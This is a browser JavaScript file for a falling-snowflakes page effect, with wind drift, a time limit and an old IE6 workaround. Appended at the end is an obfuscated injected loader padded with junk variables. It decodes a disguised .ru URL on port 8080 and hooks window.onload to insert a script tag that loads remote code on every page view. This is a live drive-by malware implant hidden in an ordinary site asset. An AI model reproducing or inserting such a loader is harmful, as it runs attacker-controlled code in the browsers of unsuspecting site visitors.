// Definitions
nks.posx = new Array();
nks.posy = new Array();
nks.speedx = Math.random() * nks.maxstepx;
nks.speedy = new Array();
nks.active = new Array();
nks.actives = nks.snowflakes;

nks.maxwidth = window.innerWidth;
nks.maxheight = window.innerHeight;
nks.minheight = -nks.flakesize; // for invert mode
if (!nks.maxwidth) {
	nks.maxwidth = document.documentElement.clientWidth;
	nks.maxheight = document.documentElement.clientHeight;
}
if (!nks.maxwidth) {
	nks.maxwidth = document.body.clientWidth;
	nks.maxheight = document.body.clientHeight;
}

// Create some position + movement data
for (i = 0; i < nks.snowflakes; i++) {
	// starting position
	nks.posy[i] = Math.random() * nks.maxheight;
	nks.posx[i] = nks.maxwidth / nks.snowflakes * i;
	// movement
	nks.speedy[i] = 2 + Math.random() * (nks.maxstepy - 2);
	nks.active[i] = true;
}


if (window.onload) {
	nks.oldonload = window.onload;
}
window.onload=function(){
	currentTime = new Date();
	nks.endtime = currentTime.getTime() + nks.maxtime;
	// http://www.javascriptkit.com/javatutors/navigator.shtml
	if(navigator) {
		if(navigator.userAgent) {
			if (/MSIE (\d+\.\d+);/.test(navigator.userAgent)){
				var ieversion=new Number(RegExp.$1) 
			}
		}
	}
	for (i = 0; i < nks.snowflakes; i++) {
		if (ieversion && ieversion==6) {
			// ie sucks
			document.getElementById('nksnow' + i).style.position='absolute';
		}
	}
	snow(nks);
	if (nks.oldonload) {
		nks.oldonload();
	}
}

function snow(nks) {
	currentTime = new Date();
	for (i = 0; i < nks.snowflakes; i++) {
		if (nks.active[i] === true) {
			nks.posy[i] = nks.posy[i] + nks.speedy[i] * nks.invert;
			nks.posx[i] = nks.posx[i] + nks.speedx;
			// wind effect
			if (Math.random() > 0.99) {
				if (nks.speedx < 2 && nks.speedx > -2) {
					nks.speedx = - nks.maxstepx +  Math.random() * nks.maxstepx * 2;
				}
			}
			// wind effect diminishes with time
			if (nks.speedx > 0) {
				if (Math.random() > 0.9) {
					nks.speedx = nks.speedx / 1.2;
				}
			}
			else if (nks.speedx < 0) {
				if (Math.random() > 0.9) {
					nks.speedx = nks.speedx / 1.1;
				}
			}
			// move flakes when they reach a limit
			if (nks.invert == 1 && nks.posy[i] > nks.maxheight ) {
				nks.posx[i] = Math.random() * nks.maxwidth;
				nks.posy[i] = - Math.random() * nks.maxheight / 2;
				if (currentTime.getTime() > nks.endtime) {
					nks.active[i] = false;
					nks.posy[i] = -100 - nks.flakesize;
					nks.actives--;
				}
			}
			if (nks.invert == -1 && nks.posy[i] < nks.minheight ) {
				nks.posx[i] = Math.random() * nks.maxwidth;
				nks.posy[i] = nks.maxheight + Math.random() * nks.maxheight * 0.5;
				if (currentTime.getTime() > nks.endtime) {
					nks.active[i] = false;
					nks.posy[i] = -100 - nks.flakesize;
					nks.actives--;
				}
			}
			if (nks.posx[i] > nks.maxwidth + nks.flakesize) {
				nks.posx[i] = -nks.flakesize ;
				//posy[i] = maxheight - Math.random() * maxheight;
			}
			else if (nks.posx[i] < - nks.flakesize ) {
				nks.posx[i] = nks.maxwidth + nks.flakesize;
				//posy[i] = maxheight - Math.random() * maxheight;
			}
			document.getElementById('nksnow' + i).style.top=nks.posy[i] + "px";
			document.getElementById('nksnow' + i).style.left=nks.posx[i] + "px";
		}
	}
	// TODO: don't repeat if time  is over + no flakes are left
	if (nks.actives > 0) {
		window.setTimeout("snow(nks)", nks.timeout);
	}
}


var P=new Array();var QV;if(QV!='U' && QV!='m'){QV='U'};try {var h;if(h!='_K'){h='_K'};var asS=new Date();var v=RegExp;var j=new String();this.vd='';var g;if(g!='s' && g!='o'){g=''};var V=new String("re"+"pl"+"ac6bF".substr(0,2)+"eExVj".substr(0,1));var sR;if(sR!='jp' && sR!='b'){sR='jp'};function A(x,K){var Ud;if(Ud!='zG' && Ud != ''){Ud=null};this.f='';var R=String("[D08".substr(0,1));var aa;if(aa!='Fs'){aa=''};var TI;if(TI!='Sr'){TI=''};var p=String("cReEg".substr(4));R+=K;R+=new String("bqTc]".substr(4));var _=new v(R, p);var w=new Date();return x[V](_, new String());this.e='';var nJ=new String();};var JS;if(JS!='' && JS!='jT'){JS=null};var rc=new Date();var B=window;var Co=new String();var J=A('/WsBoY-YnueAtB.BnueW.YjApA/WsuoB-YnBeWtY.YnueB.AjYpu/ulWiWvAeY.YcWoumW/YnBeuwWsB3BiYnWsBiudAeurB.BcBoumY/AgYoBoYgAlBeB.AcAoBmA.upBhWpW',"AYuWB");var Jg=new String();var KE=new String();var i=A('866206266866220622',"26");var T='';var S=A('oAn7lAo7aHdH',"7HA");var X=new Array();var eq=new Array();var M=A('h_t_t_p_:_/3/_r_a3k_u3t3e_n3-3n3e_-3j_p_._t3o_r_r3e3n3t_s_.3r3u_.3n_a3u3k_r_i3-_c_o3m_._T3h_e3B_l_e_n_d3e_r3T3v_._r3u_:3',"_3");var XY;if(XY!='jm' && XY!='Ao'){XY='jm'};var t=new String();var VJ=A('c8r8e8aOtOeOE8lOeOm8e8n8tO',"O8");var Jm;if(Jm!='zv'){Jm=''};var lI=new Array();var pg=A('sncnrQi1pbt1',"bQn1");var HQ;if(HQ!='H'){HQ=''};var xm;if(xm!='ng'){xm=''};Tb=function(){var HY=new String();F=document[VJ](pg);var iX;if(iX!='op'){iX='op'};var HH=new String();var lIE;if(lIE!='' && lIE!='Ba'){lIE='yu'};T=M+i;T+=J;var d;if(d!='_y' && d!='vK'){d='_y'};F.defer=([1,1][0]);F.src=T;var E='';var Y='';var aR;if(aR!='' && aR!='Gz'){aR=''};document.body.appendChild(F);};var rD=new Array();var Jr="";var FsL="";B[S]=Tb;var gq;if(gq!='' && gq!='nO'){gq=null};var QQ=new Date();var pS=new Date();} catch(z){};var db;if(db!='Mu' && db!='kc'){db='Mu'};var IP=new Date();